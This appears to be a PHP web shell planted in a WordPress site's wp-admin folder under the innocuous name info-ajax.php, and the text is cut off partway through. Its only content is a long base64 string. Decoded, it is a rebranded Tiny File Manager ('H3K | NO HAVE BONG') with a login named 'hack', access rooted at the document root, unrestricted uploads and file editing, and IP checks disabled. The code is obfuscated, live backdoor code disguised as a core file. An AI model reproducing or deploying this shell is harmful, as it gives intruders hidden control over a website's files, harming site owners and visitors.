File: /home/uaktdz7o5l3q/public_html/stonehouse/wp-admin/info-ajax.php
<?php
$__c = base64_decode('PD9waHANCi8vRGVmYXVsdCBDb25maWd1cmF0aW9uDQokQ09ORklHID0gJ3sibGFuZyI6ImVuIiwiZXJyb3JfcmVwb3J0aW5nIjpmYWxzZSwic2hvd19oaWRkZW4iOnRydWUsImhpZGVfQ29scyI6ZmFsc2UsInRoZW1lIjoiZGFyayJ9JzsNCg0KLyoqDQogKiBIM0sgfCBOTyBIQVZFIEJPTkcgVjIuNS4zDQogKiBAYXV0aG9yIENDUCBQcm9ncmFtbWVycw0KICogQGdpdGh1YiBodHRwczovL2dpdGh1Yi5jb20vcHJhc2F0aG1hbmkvdGlueWZpbGVtYW5hZ2VyDQogKiBAbGluayBodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8NCiAqLw0KDQovL1RGTSB2ZXJzaW9uDQpkZWZpbmUoJ1ZFUlNJT04nLCAnMi41LjMnKTsNCg0KLy9BcHBsaWNhdGlvbiBUaXRsZQ0KZGVmaW5lKCdBUFBfVElUTEUnLCAnTk8gSEFWRSBCT05HJyk7DQoNCi8vIC0tLSBFRElUIEJFTE9XIENPTkZJR1VSQVRJT04gQ0FSRUZVTExZIC0tLQ0KDQovLyBBdXRoIHdpdGggbG9naW4vcGFzc3dvcmQNCi8vIHNldCB0cnVlL2ZhbHNlIHRvIGVuYWJsZS9kaXNhYmxlIGl0DQovLyBJcyBpbmRlcGVuZGVudCBmcm9tIElQIHdoaXRlLSBhbmQgYmxhY2tsaXN0aW5nDQokdXNlX2F1dGggPSB0cnVlOw0KDQovLyBMb2dpbiB1c2VyIG5hbWUgYW5kIHBhc3N3b3JkDQovLyBVc2VyczogYXJyYXkoJ1VzZXJuYW1lJyA9PiAnUGFzc3dvcmQnLCAnVXNlcm5hbWUyJyA9PiAnUGFzc3dvcmQyJywgLi4uKQ0KLy8gR2VuZXJhdGUgc2VjdXJlIHBhc3N3b3JkIGhhc2ggLSBodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8vZG9jcy9wd2QuaHRtbA0KJGF1dGhfdXNlcnMgPSBhcnJheSgNCiAgICAnaGFjaycgPT4gJyQyYSQxNiR0bkp3YlNjcHlYZ0E0a2VoQ205MDJPS21nUW1rcTJnVmJuaHhyRzNoSGRYcjBPWnB4bWwvZScsIC8vcGFzcw0KKTsNCg0KLy8gUmVhZG9ubHkgdXNlcnMNCi8vIGUuZy4gYXJyYXkoJ3VzZXJzJywgJ2d1ZXN0JywgLi4uKQ0KJHJlYWRvbmx5X3VzZXJzID0gYXJyYXkoDQogICAgJ3VzZXInDQopOw0KDQovLyBHbG9iYWwgcmVhZG9ubHksIGluY2x1ZGluZyB3aGVuIGF1dGggaXMgbm90IGJlaW5nIHVzZWQNCiRnbG9iYWxfcmVhZG9ubHkgPSBmYWxzZTsNCg0KLy8gdXNlciBzcGVjaWZpYyBkaXJlY3Rvcmllcw0KLy8gYXJyYXkoJ1VzZXJuYW1lJyA9PiAnRGlyZWN0b3J5IHBhdGgnLCAnVXNlcm5hbWUyJyA9PiAnRGlyZWN0b3J5IHBhdGgnLCAuLi4pDQokZGlyZWN0b3JpZXNfdXNlcnMgPSBhcnJheSgpOw0KDQovLyBFbmFibGUgaGlnaGxpZ2h0LmpzIChodHRwczovL2hpZ2hsaWdodGpzLm9yZy8pIG9uIHZpZXcncyBwYWdlDQokdXNlX2hpZ2hsaWdodGpzID0gdHJ1ZTsNCg0KLy8gaGlnaGxpZ2h0LmpzIHN0eWxlDQovLyBmb3IgZGFyayB0aGVtZSB1c2UgJ2lyLWJsYWNrJw0KJGhpZ2hsaWdodGpzX3N0eWxlID0gJ3ZzJzsNCg0KLy8gRW5hYmxlIGFjZS5qcyAoaHR0cHM6Ly9hY2UuYzkuaW8vKSBvbiB2aWV3J3MgcGFnZQ0KJGVkaXRfZmlsZXMgPSB0cnVlOw0KDQovLyBEZWZhdWx0IHRpbWV6b25lIGZvciBkYXRlKCkgYW5kIHRpbWUoKQ0KLy8gRG9jIC0gaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL3RpbWV6b25lcy5waHANCiRkZWZhdWx0X3RpbWV6b25lID0gJ0V0Yy9VVEMnOyAvLyBVVEMNCg0KLy8gUm9vdCBwYXRoIGZvciBOTyBIQVZFIEJPTkcNCi8vIHVzZSBhYnNvbHV0ZSBwYXRoIG9mIGRpcmVjdG9yeSBpLmU6ICcvdmFyL3d3dy9mb2xkZXInIG9yICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uJy9mb2xkZXInDQokcm9vdF9wYXRoID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsNCg0KLy8gUm9vdCB1cmwgZm9yIGxpbmtzIGluIE5PIEhBVkUgQk9ORy5SZWxhdGl2ZSB0byAkaHR0cF9ob3N0LiBWYXJpYW50czogJycsICdwYXRoL3RvL3N1YmZvbGRlcicNCi8vIFdpbGwgbm90IHdvcmtpbmcgaWYgJHJvb3RfcGF0aCB3aWxsIGJlIG91dHNpZGUgb2Ygc2VydmVyIGRvY3VtZW50IHJvb3QNCiRyb290X3VybCA9ICcnOw0KDQovLyBTZXJ2ZXIgaG9zdG5hbWUuIENhbiBzZXQgbWFudWFsbHkgaWYgd3JvbmcNCi8vICRfU0VSVkVSWydIVFRQX0hPU1QnXS4nL2ZvbGRlcicNCiRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107DQoNCi8vIGlucHV0IGVuY29kaW5nIGZvciBpY29udg0KJGljb252X2lucHV0X2VuY29kaW5nID0gJ1VURi04JzsNCg0KLy8gZGF0ZSgpIGZvcm1hdCBmb3IgZmlsZSBtb2RpZmljYXRpb24gZGF0ZQ0KLy8gRG9jIC0gaHR0cHM6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24uZGF0ZS5waHANCiRkYXRldGltZV9mb3JtYXQgPSAnbS9kL1kgZzppIEEnOw0KDQovLyBQYXRoIGRpc3BsYXkgbW9kZSB3aGVuIHZpZXdpbmcgZmlsZSBpbmZvcm1hdGlvbg0KLy8gJ2Z1bGwnID0+IHNob3cgZnVsbCBwYXRoDQovLyAncmVsYXRpdmUnID0+IHNob3cgcGF0aCByZWxhdGl2ZSB0byByb290X3BhdGgNCi8vICdob3N0JyA9PiBzaG93IHBhdGggb24gdGhlIGhvc3QNCiRwYXRoX2Rpc3BsYXlfbW9kZSA9ICdmdWxsJzsNCg0KLy8gQWxsb3dlZCBmaWxlIGV4dGVuc2lvbnMgZm9yIGNyZWF0ZSBhbmQgcmVuYW1lIGZpbGVzDQovLyBlLmcuICd0eHQsaHRtbCxjc3MsanMnDQokYWxsb3dlZF9maWxlX2V4dGVuc2lvbnMgPSAnJzsNCg0KLy8gQWxsb3dlZCBmaWxlIGV4dGVuc2lvbnMgZm9yIHVwbG9hZCBmaWxlcw0KLy8gZS5nLiAnZ2lmLHBuZyxqcGcsaHRtbCx0eHQnDQokYWxsb3dlZF91cGxvYWRfZXh0ZW5zaW9ucyA9ICcnOw0KDQovLyBGYXZpY29uIHBhdGguIFRoaXMgY2FuIGJlIGVpdGhlciBhIGZ1bGwgdXJsIHRvIGFuIC5QTkcgaW1hZ2UsIG9yIGEgcGF0aCBiYXNlZCBvbiB0aGUgZG9jdW1lbnQgcm9vdC4NCi8vIGZ1bGwgcGF0aCwgZS5nIGh0dHA6Ly9leGFtcGxlLmNvbS9mYXZpY29uLnBuZw0KLy8gbG9jYWwgcGF0aCwgZS5nIGltYWdlcy9pY29ucy9mYXZpY29uLnBuZw0KJGZhdmljb25fcGF0aCA9ICcnOw0KDQovLyBGaWxlcyBhbmQgZm9sZGVycyB0byBleGNsdWRlZCBmcm9tIGxpc3RpbmcNCi8vIGUuZy4gYXJyYXkoJ215ZmlsZS5odG1sJywgJ3BlcnNvbmFsLWZvbGRlcicsICcqLnBocCcsIC4uLikNCiRleGNsdWRlX2l0ZW1zID0gYXJyYXkoKTsNCg0KLy8gT25saW5lIG9mZmljZSBEb2NzIFZpZXdlcg0KLy8gQXZhaWxhYmxlIHJ1bGVzIGFyZSAnZ29vZ2xlJywgJ21pY3Jvc29mdCcgb3IgZmFsc2UNCi8vIEdvb2dsZSA9PiBWaWV3IGRvY3VtZW50cyB1c2luZyBHb29nbGUgRG9jcyBWaWV3ZXINCi8vIE1pY3Jvc29mdCA9PiBWaWV3IGRvY3VtZW50cyB1c2luZyBNaWNyb3NvZnQgV2ViIEFwcHMgVmlld2VyDQovLyBmYWxzZSA9PiBkaXNhYmxlIG9ubGluZSBkb2Mgdmlld2VyDQokb25saW5lX3ZpZXdlciA9ICdnb29nbGUnOw0KDQovLyBTdGlja3kgTmF2IGJhcg0KLy8gdHJ1ZSA9PiBlbmFibGUgc3RpY2t5IGhlYWRlcg0KLy8gZmFsc2UgPT4gZGlzYWJsZSBzdGlja3kgaGVhZGVyDQokc3RpY2t5X25hdmJhciA9IHRydWU7DQoNCi8vIE1heGltdW0gZmlsZSB1cGxvYWQgc2l6ZQ0KLy8gSW5jcmVhc2UgdGhlIGZvbGxvd2luZyB2YWx1ZXMgaW4gcGhwLmluaSB0byB3b3JrIHByb3Blcmx5DQovLyBtZW1vcnlfbGltaXQsIHVwbG9hZF9tYXhfZmlsZXNpemUsIHBvc3RfbWF4X3NpemUNCiRtYXhfdXBsb2FkX3NpemVfYnl0ZXMgPSA1MDAwMDAwMDAwOyAvLyBzaXplIDUsMDAwLDAwMCwwMDAgYnl0ZXMgKH41R0IpDQoNCi8vIGNodW5rIHNpemUgdXNlZCBmb3IgdXBsb2FkDQovLyBlZy4gZGVjcmVhc2UgdG8gMU1CIGlmIG5naW54IHJlcG9ydHMgcHJvYmxlbSA0MTMgZW50aXR5IHRvbyBsYXJnZQ0KJHVwbG9hZF9jaHVua19zaXplX2J5dGVzID0gMjAwMDAwMDsgLy8gY2h1bmsgc2l6ZSAyLDAwMCwwMDAgYnl0ZXMgKH4yTUIpDQoNCi8vIFBvc3NpYmxlIHJ1bGVzIGFyZSAnT0ZGJywgJ0FORCcgb3IgJ09SJw0KLy8gT0ZGID0+IERvbid0IGNoZWNrIGNvbm5lY3Rpb24gSVAsIGRlZmF1bHRzIHRvIE9GRg0KLy8gQU5EID0+IENvbm5lY3Rpb24gbXVzdCBiZSBvbiB0aGUgd2hpdGVsaXN0LCBhbmQgbm90IG9uIHRoZSBibGFja2xpc3QNCi8vIE9SID0+IENvbm5lY3Rpb24gbXVzdCBiZSBvbiB0aGUgd2hpdGVsaXN0LCBvciBub3Qgb24gdGhlIGJsYWNrbGlzdA0KJGlwX3J1bGVzZXQgPSAnT0ZGJzsNCg0KLy8gU2hvdWxkIHVzZXJzIGJlIG5vdGlmaWVkIG9mIHRoZWlyIGJsb2NrPw0KJGlwX3NpbGVudCA9IHRydWU7DQoNCi8vIElQLWFkZHJlc3NlcywgYm90aCBpcHY0IGFuZCBpcHY2DQokaXBfd2hpdGVsaXN0ID0gYXJyYXkoDQogICAgJzEyNy4wLjAuMScsICAgIC8vIGxvY2FsIGlwdjQNCiAgICAnOjoxJyAgICAgICAgICAgLy8gbG9jYWwgaXB2Ng0KKTsNCg0KLy8gSVAtYWRkcmVzc2VzLCBib3RoIGlwdjQgYW5kIGlwdjYNCiRpcF9ibGFja2xpc3QgPSBhcnJheSgNCiAgICAnMC4wLjAuMCcsICAgICAgLy8gbm9uLXJvdXRhYmxlIG1ldGEgaXB2NA0KICAgICc6OicgICAgICAgICAgICAvLyBub24tcm91dGFibGUgbWV0YSBpcHY2DQopOw0KDQovLyBpZiBVc2VyIGhhcyB0aGUgZXh0ZXJuYWwgY29uZmlnIGZpbGUsIHRyeSB0byB1c2UgaXQgdG8gb3ZlcnJpZGUgdGhlIGRlZmF1bHQgY29uZmlnIGFib3ZlIFtjb25maWcucGhwXQ0KLy8gc2FtcGxlIGNvbmZpZyAtIGh0dHBzOi8vdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pby9jb25maWctc2FtcGxlLnR4dA0KJGNvbmZpZ19maWxlID0gX19ESVJfXy4nL2NvbmZpZy5waHAnOw0KaWYgKGlzX3JlYWRhYmxlKCRjb25maWdfZmlsZSkpIHsNCiAgICBAaW5jbHVkZSgkY29uZmlnX2ZpbGUpOw0KfQ0KDQovLyBFeHRlcm5hbCBDRE4gcmVzb3VyY2VzIHRoYXQgY2FuIGJlIHVzZWQgaW4gdGhlIEhUTUwgKHJlcGxhY2UgZm9yIEdEUFIgY29tcGxpYW5jZSkNCiRleHRlcm5hbCA9IGFycmF5KA0KICAgICdjc3MtYm9vdHN0cmFwJyA9PiAnPGxpbmsgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9ib290c3RyYXBANS4yLjIvZGlzdC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgaW50ZWdyaXR5PSJzaGEzODQtWmVuaDg3cVg1Sm5LMkpsMHZXYThDazJyZGtRMkJ6ZXA1SUR4YmNuQ2V1T3hqenJQRi9ldDNVUnk5QnYxV1RSaSIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+JywNCiAgICAnY3NzLWRyb3B6b25lJyA9PiAnPGxpbmsgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZHJvcHpvbmUvNS45LjMvbWluL2Ryb3B6b25lLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCI+JywNCiAgICAnY3NzLWZvbnQtYXdlc29tZScgPT4gJzxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzQuNy4wL2Nzcy9mb250LWF3ZXNvbWUubWluLmNzcyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+JywNCiAgICAnY3NzLWhpZ2hsaWdodGpzJyA9PiAnPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9oaWdobGlnaHQuanMvMTEuNi4wL3N0eWxlcy8nIC4gJGhpZ2hsaWdodGpzX3N0eWxlIC4gJy5taW4uY3NzIj4nLA0KICAgICdqcy1hY2UnID0+ICc8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvYWNlLzEuMTMuMS9hY2UuanMiPjwvc2NyaXB0PicsDQogICAgJ2pzLWJvb3RzdHJhcCcgPT4gJzxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjIuMi9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1PRVJjQTJFcWpKQ01BKy8zeStneElPcU1Fand0eEpZN3FQQ3FzZGx0Yk5KdWFPZTkyMyttby8vZjZWOFFic3czIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4nLA0KICAgICdqcy1kcm9wem9uZScgPT4gJzxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9kcm9wem9uZS81LjkuMy9taW4vZHJvcHpvbmUubWluLmpzIj48L3NjcmlwdD4nLA0KICAgICdqcy1qcXVlcnknID0+ICc8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4xLm1pbi5qcyIgaW50ZWdyaXR5PSJzaGEyNTYtbzg4QXdRblpCK1ZEdkU5dHZJWHJNUWFQbEZGU1VUUitubGRRbTFMdVBYUT0iIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB0PicsDQogICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuLmRhdGF0YWJsZXMubmV0LzEuMTMuMS9qcy9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanMiIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIGRlZmVyPjwvc2NyaXB0PicsDQogICAgJ2pzLWhpZ2hsaWdodGpzJyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2hpZ2hsaWdodC5qcy8xMS42LjAvaGlnaGxpZ2h0Lm1pbi5qcyI+PC9zY3JpcHQ+JywNCiAgICAncHJlLWpzZGVsaXZyJyA9PiAnPGxpbmsgcmVsPSJwcmVjb25uZWN0IiBocmVmPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQiIGNyb3Nzb3JpZ2luLz48bGluayByZWw9ImRucy1wcmVmZXRjaCIgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0Ii8+JywNCiAgICAncHJlLWNsb3VkZmxhcmUnID0+ICc8bGluayByZWw9InByZWNvbm5lY3QiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20iIGNyb3Nzb3JpZ2luLz48bGluayByZWw9ImRucy1wcmVmZXRjaCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbSIvPicNCik7DQoNCi8vIC0tLSBFRElUIEJFTE9XIENBUkVGVUxMWSBPUiBETyBOT1QgRURJVCBBVCBBTEwgLS0tDQoNCi8vIG1heCB1cGxvYWQgZmlsZSBzaXplDQpkZWZpbmUoJ01BWF9VUExPQURfU0laRScsICRtYXhfdXBsb2FkX3NpemVfYnl0ZXMpOw0KDQovLyB1cGxvYWQgY2h1bmsgc2l6ZQ0KZGVmaW5lKCdVUExPQURfQ0hVTktfU0laRScsICR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyk7DQoNCi8vIHByaXZhdGUga2V5IGFuZCBzZXNzaW9uIG5hbWUgdG8gc3RvcmUgdG8gdGhlIHNlc3Npb24NCmlmICggIWRlZmluZWQoICdGTV9TRVNTSU9OX0lEJykpIHsNCiAgICBkZWZpbmUoJ0ZNX1NFU1NJT05fSUQnLCAnZmlsZW1hbmFnZXInKTsNCn0NCg0KLy8gQ29uZmlndXJhdGlvbg0KJGNmZyA9IG5ldyBGTV9Db25maWcoKTsNCg0KLy8gRGVmYXVsdCBsYW5ndWFnZQ0KJGxhbmcgPSBpc3NldCgkY2ZnLT5kYXRhWydsYW5nJ10pID8gJGNmZy0+ZGF0YVsnbGFuZyddIDogJ2VuJzsNCg0KLy8gU2hvdyBvciBoaWRlIGZpbGVzIGFuZCBmb2xkZXJzIHRoYXQgc3RhcnRzIHdpdGggYSBkb3QNCiRzaG93X2hpZGRlbl9maWxlcyA9IGlzc2V0KCRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10pID8gJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA6IHRydWU7DQoNCi8vIFBIUCBlcnJvciByZXBvcnRpbmcgLSBmYWxzZSA9IFR1cm5zIG9mZiBFcnJvcnMsIHRydWUgPSBUdXJucyBvbiBFcnJvcnMNCiRyZXBvcnRfZXJyb3JzID0gaXNzZXQoJGNmZy0+ZGF0YVsnZXJyb3JfcmVwb3J0aW5nJ10pID8gJGNmZy0+ZGF0YVsnZXJyb3JfcmVwb3J0aW5nJ10gOiB0cnVlOw0KDQovLyBIaWRlIFBlcm1pc3Npb25zIGFuZCBPd25lciBjb2xzIGluIGZpbGUtbGlzdGluZw0KJGhpZGVfQ29scyA9IGlzc2V0KCRjZmctPmRhdGFbJ2hpZGVfQ29scyddKSA/ICRjZmctPmRhdGFbJ2hpZGVfQ29scyddIDogdHJ1ZTsNCg0KLy8gVGhlbWUNCiR0aGVtZSA9IGlzc2V0KCRjZmctPmRhdGFbJ3RoZW1lJ10pID8gJGNmZy0+ZGF0YVsndGhlbWUnXSA6ICdsaWdodCc7DQoNCmRlZmluZSgnRk1fVEhFTUUnLCAkdGhlbWUpOw0KDQovL2F2YWlsYWJsZSBsYW5ndWFnZXMNCiRsYW5nX2xpc3QgPSBhcnJheSgNCiAgICAnZW4nID0+ICdFbmdsaXNoJw0KKTsNCg0KaWYgKCRyZXBvcnRfZXJyb3JzID09IHRydWUpIHsNCiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgRV9BTEwpOw0KICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDEpOw0KfSBlbHNlIHsNCiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgRV9BTEwpOw0KICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0KfQ0KDQovLyBpZiBmbSBpbmNsdWRlZA0KaWYgKGRlZmluZWQoJ0ZNX0VNQkVEJykpIHsNCiAgICAkdXNlX2F1dGggPSBmYWxzZTsNCiAgICAkc3RpY2t5X25hdmJhciA9IGZhbHNlOw0KfSBlbHNlIHsNCiAgICBAc2V0X3RpbWVfbGltaXQoNjAwKTsNCg0KICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJGRlZmF1bHRfdGltZXpvbmUpOw0KDQogICAgaW5pX3NldCgnZGVmYXVsdF9jaGFyc2V0JywgJ1VURi04Jyk7DQogICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuNi4wJywgJzwnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ21iX2ludGVybmFsX2VuY29kaW5nJykpIHsNCiAgICAgICAgbWJfaW50ZXJuYWxfZW5jb2RpbmcoJ1VURi04Jyk7DQogICAgfQ0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ21iX3JlZ2V4X2VuY29kaW5nJykpIHsNCiAgICAgICAgbWJfcmVnZXhfZW5jb2RpbmcoJ1VURi04Jyk7DQogICAgfQ0KDQogICAgc2Vzc2lvbl9jYWNoZV9saW1pdGVyKCdub2NhY2hlJyk7IC8vIFByZXZlbnQgbG9nb3V0IGlzc3VlIGFmdGVyIHBhZ2Ugd2FzIGNhY2hlZA0KICAgIHNlc3Npb25fbmFtZShGTV9TRVNTSU9OX0lEICk7DQogICAgZnVuY3Rpb24gc2Vzc2lvbl9lcnJvcl9oYW5kbGluZ19mdW5jdGlvbigkY29kZSwgJG1zZywgJGZpbGUsICRsaW5lKSB7DQogICAgICAgIC8vIFBlcm1pc3Npb24gZGVuaWVkIGZvciBkZWZhdWx0IHNlc3Npb24sIHRyeSB0byBjcmVhdGUgYSBuZXcgb25lDQogICAgICAgIGlmICgkY29kZSA9PSAyKSB7DQogICAgICAgICAgICBzZXNzaW9uX2Fib3J0KCk7DQogICAgICAgICAgICBzZXNzaW9uX2lkKHNlc3Npb25fY3JlYXRlX2lkKCkpOw0KICAgICAgICAgICAgQHNlc3Npb25fc3RhcnQoKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBzZXRfZXJyb3JfaGFuZGxlcignc2Vzc2lvbl9lcnJvcl9oYW5kbGluZ19mdW5jdGlvbicpOw0KICAgIHNlc3Npb25fc3RhcnQoKTsNCiAgICByZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCn0NCg0KLy9HZW5lcmF0aW5nIENTUkYgVG9rZW4NCmlmIChlbXB0eSgkX1NFU1NJT05bJ3Rva2VuJ10pKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncmFuZG9tX2J5dGVzJykpIHsNCiAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkX1NFU1NJT05bJ3Rva2VuJ10gPSBiaW4yaGV4KG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygzMikpOw0KICAgIH0NCn0NCg0KaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkgew0KICAgICR1c2VfYXV0aCA9IGZhbHNlOw0KfQ0KDQokaXNfaHR0cHMgPSBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgKCRfU0VSVkVSWydIVFRQUyddID09ICdvbicgfHwgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gMSkNCiAgICB8fCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcyc7DQoNCi8vIHVwZGF0ZSAkcm9vdF91cmwgYmFzZWQgb24gdXNlciBzcGVjaWZpYyBkaXJlY3Rvcmllcw0KaWYgKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pICYmICFlbXB0eSgkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pKSB7DQogICAgJHdkID0gZm1fY2xlYW5fcGF0aChkaXJuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKSk7DQogICAgJHJvb3RfdXJsID0gICRyb290X3VybC4kd2QuRElSRUNUT1JZX1NFUEFSQVRPUi4kZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV07DQp9DQovLyBjbGVhbiAkcm9vdF91cmwNCiRyb290X3VybCA9IGZtX2NsZWFuX3BhdGgoJHJvb3RfdXJsKTsNCg0KLy8gYWJzIHBhdGggZm9yIHNpdGUNCmRlZmluZWQoJ0ZNX1JPT1RfVVJMJykgfHwgZGVmaW5lKCdGTV9ST09UX1VSTCcsICgkaXNfaHR0cHMgPyAnaHR0cHMnIDogJ2h0dHAnKSAuICc6Ly8nIC4gJGh0dHBfaG9zdCAuICghZW1wdHkoJHJvb3RfdXJsKSA/ICcvJyAuICRyb290X3VybCA6ICcnKSk7DQpkZWZpbmVkKCdGTV9TRUxGX1VSTCcpIHx8IGRlZmluZSgnRk1fU0VMRl9VUkwnLCAoJGlzX2h0dHBzID8gJ2h0dHBzJyA6ICdodHRwJykgLiAnOi8vJyAuICRodHRwX2hvc3QgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7DQoNCi8vIGxvZ291dA0KaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkpIHsNCiAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTsNCiAgICB1bnNldCggJF9TRVNTSU9OWyd0b2tlbiddKTsgDQogICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpOw0KfQ0KDQovLyBWYWxpZGF0ZSBjb25uZWN0aW9uIElQDQppZiAoJGlwX3J1bGVzZXQgIT0gJ09GRicpIHsNCiAgICBmdW5jdGlvbiBnZXRDbGllbnRJUCgpIHsNCiAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoJ0hUVFBfQ0ZfQ09OTkVDVElOR19JUCcsICRfU0VSVkVSKSkgew0KICAgICAgICAgICAgcmV0dXJuICAkX1NFUlZFUlsiSFRUUF9DRl9DT05ORUNUSU5HX0lQIl07DQogICAgICAgIH1lbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX1hfRk9SV0FSREVEX0ZPUicsICRfU0VSVkVSKSkgew0KICAgICAgICAgICAgcmV0dXJuICAkX1NFUlZFUlsiSFRUUF9YX0ZPUldBUkRFRF9GT1IiXTsNCiAgICAgICAgfWVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ1JFTU9URV9BRERSJywgJF9TRVJWRVIpKSB7DQogICAgICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQogICAgICAgIH1lbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NMSUVOVF9JUCcsICRfU0VSVkVSKSkgew0KICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydIVFRQX0NMSUVOVF9JUCddOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAnJzsNCiAgICB9DQoNCiAgICAkY2xpZW50SXAgPSBnZXRDbGllbnRJUCgpOw0KICAgICRwcm9jZWVkID0gZmFsc2U7DQogICAgJHdoaXRlbGlzdGVkID0gaW5fYXJyYXkoJGNsaWVudElwLCAkaXBfd2hpdGVsaXN0KTsNCiAgICAkYmxhY2tsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF9ibGFja2xpc3QpOw0KDQogICAgaWYoJGlwX3J1bGVzZXQgPT0gJ0FORCcpew0KICAgICAgICBpZigkd2hpdGVsaXN0ZWQgPT0gdHJ1ZSAmJiAkYmxhY2tsaXN0ZWQgPT0gZmFsc2Upew0KICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlOw0KICAgICAgICB9DQogICAgfSBlbHNlDQogICAgaWYoJGlwX3J1bGVzZXQgPT0gJ09SJyl7DQogICAgICAgICBpZigkd2hpdGVsaXN0ZWQgPT0gdHJ1ZSB8fCAkYmxhY2tsaXN0ZWQgPT0gZmFsc2Upew0KICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYoJHByb2NlZWQgPT0gZmFsc2Upew0KICAgICAgICB0cmlnZ2VyX2Vycm9yKCdVc2VyIGNvbm5lY3Rpb24gZGVuaWVkIGZyb206ICcgLiAkY2xpZW50SXAsIEVfVVNFUl9XQVJOSU5HKTsNCg0KICAgICAgICB